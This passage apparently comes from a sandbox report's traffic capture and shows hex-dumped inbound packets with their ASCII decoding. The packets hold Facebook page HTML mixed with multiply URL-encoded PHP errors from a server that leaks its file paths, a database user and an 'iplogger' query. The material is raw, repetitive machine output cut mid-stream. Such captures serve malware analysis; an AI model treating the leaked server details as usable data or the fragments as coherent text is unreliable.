2022-10-08 09:34:43 UTC	328	IN	Data Raw: 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a Data Ascii: 53/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:
2022-10-08 09:34:43 UTC	329	IN	Data Raw: 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c Data Ascii: li\u002520or\u002520PDO\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\
2022-10-08 09:34:43 UTC	331	IN	Data Raw: 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 65 72 65 5c 75 30 30 32 35 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 66 66 30 30 30 30 Data Ascii: 253Eselect\u002520iplogger\u002520from\u002520t_channels\u002520where\u002520name='WYWDIG~1'\u002520limit\u0025200,1\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Csmall\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523ff0000
2022-10-08 09:34:43 UTC	332	IN	Data Raw: 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 Data Ascii: %3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20
2022-10-08 09:34:43 UTC	334	IN	Data Raw: 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 5c 75 30 30 32 35 32 30 65 78 70 65 63 74 73 5c 75 30 30 32 35 32 30 70 61 72 61 6d 65 74 65 72 5c 75 Data Ascii: \u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_query()\u002520expects\u002520parameter\u
2022-10-08 09:34:43 UTC	335	IN	Data Raw: 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 69 73 25 32 30 64 65 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 Data Ascii: 3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line
2022-10-08 09:34:43 UTC	337	IN	Data Raw: 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5c 75 30 30 32 35 32 30 65 78 74 65 6e 73 69 6f 6e 5c 75 30 30 32 35 32 30 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 Data Ascii: u002520mysql_pconnect():\u002520The\u002520mysql\u002520extension\u002520is\u002520deprecated\u002520and\u002520will\u002520be\u002520removed\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520instead\u002520in\u00252
2022-10-08 09:34:43 UTC	338	IN	Data Raw: 30 34 35 5c 75 30 30 32 35 32 30 2d 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c Data Ascii: 045\u002520-\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogger\u002520from\u002520t_channel
2022-10-08 09:34:43 UTC	340	IN	Data Raw: 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 62 65 25 32 30 72 65 73 6f 75 72 63 65 2c 25 32 30 62 6f 6f 6c 65 61 6e 25 32 30 67 69 76 65 6e 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 37 33 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 Data Ascii: y()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%
2022-10-08 09:34:43 UTC	341	IN	Data Raw: 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 Data Ascii: bnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00
2022-10-08 09:34:43 UTC	343	IN	Data Raw: 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 37 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 41 72 61 62 69 63 22 3e d8 a7 d9 84 d8 b9 d8 b1 d8 a8 d9 8a d8 a9 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 2d 69 6e 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 Data Ascii: C\/font\u00253E", "www_list_selector", 7); return false;" title="Arabic"></a></li><li><a class="_sv4" dir="ltr" href="https://hi-in.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20
2022-10-08 09:34:43 UTC	344	IN	Data Raw: 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 68 69 5f 49 4e 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 68 69 2d 69 6e 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 44 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c Data Ascii: e("IntlUtils").setCookieLocale("hi_IN", "en_US", "https:\/\/hi-in.facebook.com\/\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EDeprecated\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520The\u002520mysql
2022-10-08 09:34:43 UTC	345	IN	Data Raw: 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 37 33 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 30 30 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 31 30 34 35 5c 75 30 30 32 35 32 30 2d 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 Data Ascii: 0253E\u002520on\u002520line\u002520\u00253Cb\u00253E73\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523000000\u002522\u00253E\u00250A\u00253Cb\u00253E1045\u002520-\u002520Access\u002520denied\u002520
2022-10-08 09:34:43 UTC	347	IN	Data Raw: 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 62 65 25 Data Ascii: %20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%
2022-10-08 09:34:43 UTC	348	IN	Data Raw: 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c Data Ascii: \u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\
2022-10-08 09:34:43 UTC	350	IN	Data Raw: 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 66 66 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 35 42 54 45 50 5c 75 30 30 32 35 32 30 53 54 4f 50 5c 75 30 30 32 35 35 44 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 Data Ascii: u002522\u002523ff0000\u002522\u00253E\u00255BTEP\u002520STOP\u00255D\u00253C\/font\u00253E\u00250A\u00253C\/small\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253C\/b\u00253E\u00250A\u00253C\/font\u00253E", "www_list_se
2022-10-08 09:34:43 UTC	351	IN	Data Raw: 32 35 32 30 67 69 76 65 6e 25 32 35 32 30 69 6e 25 32 35 32 30 25 32 35 33 43 62 25 32 35 33 45 25 32 46 77 77 77 25 32 46 77 77 77 72 6f 6f 74 25 32 46 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 25 32 46 73 65 65 6d 6f 72 65 62 74 79 25 32 46 69 6e 63 6c 75 64 65 73 25 32 46 64 61 74 61 62 61 73 65 2e 70 68 70 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 32 35 32 30 6f 6e 25 32 35 32 30 6c 69 6e 65 25 32 35 32 30 25 32 35 33 43 62 25 32 35 33 45 37 33 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 32 30 25 32 46 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 66 6f 6e 74 25 32 35 32 30 63 6f 6c 6f 72 25 33 44 25 32 35 32 32 25 32 35 32 33 30 30 30 30 30 30 25 32 35 32 32 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 Data Ascii: 2520given%2520in%2520%253Cb%253E%2Fwww%2Fwwwroot%2F103.136.42.153%2Fseemorebty%2Fincludes%2Fdatabase.php%253C%2Fb%253E%2520on%2520line%2520%253Cb%253E73%253C%2Fb%253E%250A%253Cbr%2520%2F%253E%250A%253Cfont%2520color%3D%2522%2523000000%2522%253E%250A%253Cb
2022-10-08 09:34:43 UTC	353	IN	Data Raw: 6f 6f 6b 2e 22 3e 50 6c 61 63 65 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 67 61 6d 65 73 2f 22 20 74 69 74 6c 65 3d 22 43 68 65 63 6b 20 6f 75 74 20 46 61 63 65 62 6f 6f 6b 20 67 61 6d 65 73 2e 22 3e 47 61 6d 65 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 6d 61 72 6b 65 74 70 6c 61 63 65 2f 22 20 74 69 74 6c 65 3d 22 42 75 79 20 61 6e 64 20 73 65 6c 6c 20 6f 6e 20 46 61 63 65 62 6f 6f 6b 20 4d 61 72 6b 65 74 70 6c 61 63 65 2e 22 3e 4d 61 72 6b 65 74 70 6c 61 63 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 79 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f 75 74 20 4d 65 74 61 20 50 Data Ascii: ook.">Places</a></li><li><a href="/games/" title="Check out Facebook games.">Games</a></li><li><a href="/marketplace/" title="Buy and sell on Facebook Marketplace.">Marketplace</a></li><li><a href="https://pay.facebook.com/" title="Learn more about Meta P
2022-10-08 09:34:43 UTC	354	IN	Data Raw: 6f 75 72 20 62 6c 6f 67 2c 20 64 69 73 63 6f 76 65 72 20 74 68 65 20 72 65 73 6f 75 72 63 65 20 63 65 6e 74 65 72 2c 20 61 6e 64 20 66 69 6e 64 20 6a 6f 62 20 6f 70 70 6f 72 74 75 6e 69 74 69 65 73 2e 22 3e 41 62 6f 75 74 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 61 64 5f 63 61 6d 70 61 69 67 6e 2f 6c 61 6e 64 69 6e 67 2e 70 68 70 3f 70 6c 61 63 65 6d 65 6e 74 3d 70 66 6c 6f 26 61 6d 70 3b 63 61 6d 70 61 69 67 6e 5f 69 64 3d 34 30 32 30 34 37 34 34 39 31 38 36 26 61 6d 70 3b 6e 61 76 5f 73 6f 75 72 63 65 3d 75 6e 6b 6e 6f 77 6e 26 61 6d 70 3b 65 78 74 72 61 5f 31 3d 61 75 74 6f 22 20 74 69 74 6c 65 3d 22 41 64 76 65 72 74 69 73 65 20 6f 6e 20 46 61 63 65 62 6f 6f 6b 2e 22 3e 43 72 65 61 74 65 20 41 64 3c 2f 61 3e 3c 2f 6c 69 3e Data Ascii: our blog, discover the resource center, and find job opportunities.">About</a></li><li><a href="/ad_campaign/landing.php?placement=pflo&campaign_id=402047449186&nav_source=unknown&extra_1=auto" title="Advertise on Facebook.">Create Ad</a></li>
2022-10-08 09:34:43 UTC	356	IN	Data Raw: 73 73 69 62 6c 65 5f 65 6c 65 6d 22 20 68 72 65 66 3d 22 2f 61 6c 6c 61 63 74 69 76 69 74 79 3f 70 72 69 76 61 63 79 5f 73 6f 75 72 63 65 3d 61 63 74 69 76 69 74 79 5f 6c 6f 67 5f 74 6f 70 5f 6d 65 6e 75 22 20 74 69 74 6c 65 3d 22 56 69 65 77 20 79 6f 75 72 20 61 63 74 69 76 69 74 79 20 6c 6f 67 22 3e 41 63 74 69 76 69 74 79 20 6c 6f 67 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 76 6c 20 63 6f 70 79 72 69 67 68 74 22 3e 3c 64 69 76 3e 3c 73 70 61 6e 3e 20 4d 65 74 61 20 c2 a9 20 32 30 32 32 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 3e 3c 2f 64 69 76 3e 3c 73 70 61 6e 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f Data Ascii: ssible_elem" href="/allactivity?privacy_source=activity_log_top_menu" title="View your activity log">Activity log</a></li></ul></div><div class="mvl copyright"><div><span> Meta 2022</span></div></div></div></div></div><div></div><span><img src="https:/
